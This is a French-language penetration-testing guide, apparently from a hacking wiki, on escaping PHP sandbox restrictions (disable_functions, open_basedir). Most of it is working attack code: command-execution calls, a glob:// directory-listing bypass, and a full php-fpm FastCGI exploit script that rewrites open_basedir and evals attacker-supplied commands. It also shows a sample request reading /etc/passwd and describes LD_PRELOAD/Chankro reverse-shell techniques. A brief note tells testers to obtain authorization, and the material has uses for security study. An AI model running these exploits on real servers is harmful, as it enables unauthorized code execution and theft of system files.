Remarque : Un p0wny-shell webshell php peut automatiquement vérifier et contourner les fonctions suivantes si certaines d'entre elles sont désactivées.
exec - Retourne la dernière ligne de la sortie des commandes
echoexec("uname -a");
passthru - Passe la sortie des commandes directement au navigateur
echopassthru("uname -a");
système - Passe la sortie des commandes directement au navigateur et renvoie la dernière ligne
echosystem("uname -a");
shell_exec - Renvoie la sortie des commandes
echoshell_exec("uname -a");
`` (backticks) - Identique à shell_exec()
echo`uname-a`
popen - Ouvre un tuyau de lecture ou d'écriture vers le processus d'une commande
echofread(popen("/bin/ls /","r"),4096);
proc_open - Similaire à popen() mais avec un plus grand degré de contrôle
mail / mb_send_mail - Cette fonction est utilisée pour envoyer des e-mails, mais elle peut également être utilisée de manière abusive pour injecter des commandes arbitraires à l'intérieur du paramètre $options. Cela est dû au fait que la fonction php mail appelle généralement le binaire sendmail à l'intérieur du système et cela vous permet d'ajouter des options supplémentaires. Cependant, vous ne pourrez pas voir la sortie de la commande exécutée, il est donc recommandé de créer un script shell qui écrit la sortie dans un fichier, de l'exécuter en utilisant mail, et d'afficher la sortie :
dl - Cette fonction peut être utilisée pour charger dynamiquement une extension PHP. Cette fonction ne sera pas toujours présente, donc vous devriez vérifier si elle est disponible avant d'essayer de l'exploiter. Lisez cette page pour apprendre comment exploiter cette fonction.
Exécution de code PHP
Outre eval, il existe d'autres moyens d'exécuter du code PHP : include/require peuvent être utilisés pour l'exécution de code à distance sous forme de vulnérabilités d'inclusion de fichiers locaux et d'inclusion de fichiers distants.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Les fonctions désactivées sont les paramètres qui peuvent être configurés dans les fichiers .ini en PHP qui interdisent l'utilisation des fonctions indiquées. Open basedir est le paramètre qui indique à PHP le dossier auquel il peut accéder.
Le paramètre PHP doit être configuré dans le chemin /etc/php7/conf.d ou similaire.
Les deux configurations peuvent être vues dans la sortie de phpinfo():
open_basedir Bypass
open_basedir configurera les dossiers auxquels PHP peut accéder, vous ne pourrez pas écrire/lire/exécuter de fichiers en dehors de ces dossiers, mais vous ne pourrez même pas lister d'autres répertoires.
Cependant, si d'une manière ou d'une autre vous êtes capable d'exécuter du code PHP arbitraire, vous pouvez essayer le morceau de code suivant pour contourner la restriction.
Listing dirs with glob:// bypass
Dans ce premier exemple, le protocole glob:// avec un contournement de chemin est utilisé:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Note1: Dans le chemin, vous pouvez également utiliser /e??/* pour répertorier /etc/* et tout autre dossier.
Note2: Il semble que certaines parties du code soient dupliquées, mais c'est en fait nécessaire!
Note3: Cet exemple est uniquement utile pour répertorier des dossiers et non pour lire des fichiers
Contournement complet de open_basedir en abusant de FastCGI
Si vous souhaitez en savoir plus sur PHP-FPM et FastCGI, vous pouvez lire la première section de cette page.
Si php-fpm est configuré, vous pouvez l'exploiter pour contourner complètement open_basedir:
Notez que la première chose à faire est de trouver où se trouve le socket Unix de php-fpm. Il est généralement sous /var/run, vous pouvez donc utiliser le code précédent pour répertorier le répertoire et le trouver.
Code provenant de ici.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Ce script communiquera avec le socket Unix de php-fpm (généralement situé dans /var/run si fpm est utilisé) pour exécuter du code arbitraire. Les paramètres open_basedir seront écrasés par l'attribut PHP_VALUE qui est envoyé.
Notez comment eval est utilisé pour exécuter le code PHP que vous envoyez à l'intérieur du paramètre cmd.
Notez également la ligne 324 commentée, vous pouvez la décommenter et la charge utile se connectera automatiquement à l URL donnée et exécutera le code PHP qui y est contenu.
Accédez simplement à http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); pour obtenir le contenu du fichier /etc/passwd.
Vous pourriez penser que de la même manière que nous avons écrasé la configuration open_basedir, nous pouvons écraser disable_functions. Eh bien, essayez, mais cela ne fonctionnera pas, apparemment disable_functions ne peut être configuré que dans un fichier de configuration php .ini et les modifications que vous effectuez en utilisant PHP_VALUE ne seront pas efficaces sur ce paramètre spécifique.
Contournement de disable_functions
Si vous parvenez à exécuter du code PHP à l'intérieur d'une machine, vous voudrez probablement passer au niveau supérieur et exécuter des commandes système arbitraires. Dans cette situation, il est courant de découvrir que la plupart ou toutes les fonctions PHP permettant d'exécuter des commandes système ont été désactivées dans disable_functions.
Voyons donc comment vous pouvez contourner cette restriction (si vous le pouvez)
Découverte automatique de contournement
Vous pouvez utiliser l'outil https://github.com/teambi0s/dfunc-bypasser et il vous indiquera quelle fonction (le cas échéant) vous pouvez utiliser pour contournerdisable_functions.
Contournement en utilisant d'autres fonctions système
Revenez au début de cette page et vérifiez si l'une des fonctions d'exécution de commandes n'est pas désactivée et disponible dans l'environnement. Si vous en trouvez une seule, vous pourrez l'utiliser pour exécuter des commandes système arbitraires.
Contournement LD_PRELOAD
Il est bien connu que certaines fonctions en PHP comme mail() vont exécuter des binaires à l'intérieur du système. Par conséquent, vous pouvez les abuser en utilisant la variable d'environnement LD_PRELOAD pour les faire charger une bibliothèque arbitraire qui peut exécuter n'importe quoi.
Fonctions pouvant être utilisées pour contourner disable_functions avec LD_PRELOAD
mail
mb_send_mail: Efficace lorsque le module php-mbstring est installé.
imap_mail: Fonctionne si le module php-imap est présent.
libvirt_connect: Nécessite le module php-libvirt-php.
gnupg_init: Utilisable avec le module php-gnupg installé.
new imagick(): Cette classe peut être abusée pour contourner les restrictions. Des techniques d'exploitation détaillées peuvent être trouvées dans un article complet ici.
Vous pouvez trouver ici le script de fuzzing qui a été utilisé pour trouver ces fonctions.
Voici une bibliothèque que vous pouvez compiler pour abuser de la variable d'environnement LD_PRELOAD:
Pour exploiter cette mauvaise configuration, vous pouvez utiliser Chankro. Il s'agit d'un outil qui va générer une exploitation PHP que vous devez téléverser sur le serveur vulnérable et l'exécuter (y accéder via le web).
Chankro écrira à l'intérieur du disque de la victime la bibliothèque et le shell inversé que vous souhaitez exécuter et utilisera le truc LD_PRELOAD + la fonction PHP mail() pour exécuter le shell inversé.
Notez que pour utiliser Chankro, mail et putenvne doivent pas apparaître dans la liste des disable_functions.
Dans l'exemple suivant, vous pouvez voir comment créer une exploitation Chankro pour arch 64, qui exécutera whoami et enregistrera la sortie dans /tmp/chankro_shell.out, Chankro va écrire la bibliothèque et la charge utile dans /tmp et l'exploitation finale va s'appeler bicho.php (c'est le fichier que vous devez téléverser sur le serveur de la victime):
Dans certains scénarios de test d'intrusion, il peut être utile de contourner les restrictions de sécurité PHP telles que disable_functions et open_basedir. Voici quelques astuces pour contourner ces limitations :
Contourner disable_functions
Lorsque certaines fonctions sont désactivées via disable_functions dans la configuration PHP, vous pouvez essayer d'utiliser des fonctions alternatives ou des méthodes de contournement pour atteindre votre objectif. Par exemple, vous pouvez utiliser des fonctions système ou des fonctions personnalisées pour exécuter des commandes système ou des opérations interdites.
Contourner open_basedir
Si open_basedir est configuré pour restreindre les répertoires accessibles par le script PHP, vous pouvez essayer d'utiliser des chemins relatifs ou des liens symboliques pour contourner cette restriction. En exploitant des vulnérabilités telles que les téléchargements de fichiers non sécurisés, vous pourriez être en mesure de contourner la restriction open_basedir.
Ces techniques peuvent être utiles lors de tests d'intrusion pour identifier et exploiter des vulnérabilités potentielles dans des applications PHP. Assurez-vous de toujours obtenir une autorisation appropriée avant de tester la sécurité d'un système ou d'une application.
Notez qu'en utilisant PHP, vous pouvez lire et écrire des fichiers, créer des répertoires et modifier les autorisations.
Vous pouvez même sauvegarder des bases de données.
Peut-être qu'en utilisant PHP pour énumérer la boîte, vous pourriez trouver un moyen d'escalader les privilèges/d'exécuter des commandes (par exemple, en lisant une clé ssh privée).
J'ai créé un webshell qui facilite grandement l'exécution de ces actions (notez que la plupart des webshells vous offriront également ces options) : https://github.com/carlospolop/phpwebshelllimited
Bypass dépendant des modules/versions
Il existe plusieurs façons de contourner les fonctions désactivées si un module spécifique est utilisé ou d'exploiter une version spécifique de PHP :
Ces fonctions acceptent un paramètre de type chaîne qui pourrait être utilisé pour appeler une fonction choisie par l'attaquant. Selon la fonction, l'attaquant peut ou non avoir la possibilité de passer un paramètre. Dans ce cas, une fonction de divulgation d'informations comme phpinfo() pourrait être utilisée.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Divulgation d'informations
La plupart de ces appels de fonction ne sont pas des points d'entrée. Mais il peut s'agir d'une vulnérabilité si l'une des données renvoyées est visible par un attaquant. Si un attaquant peut voir phpinfo(), c'est certainement une vulnérabilité.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Fonctions du système de fichiers
Selon RATS, toutes les fonctions du système de fichiers en php sont néfastes. Certaines d'entre elles ne semblent pas très utiles pour l'attaquant. D'autres sont plus utiles que vous ne le pensez. Par exemple, si allow_url_fopen=On, alors une URL peut être utilisée comme chemin de fichier, donc un appel à copy($_GET['s'], $_GET['d']); peut être utilisé pour télécharger un script PHP n'importe où sur le système. De plus, si un site est vulnérable à une requête envoyée via GET, chacune de ces fonctions du système de fichiers peut être utilisée de manière abusive pour canaliser une attaque vers un autre hôte via votre serveur.
Écrire dans le système de fichiers (partiellement en combinaison avec la lecture)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir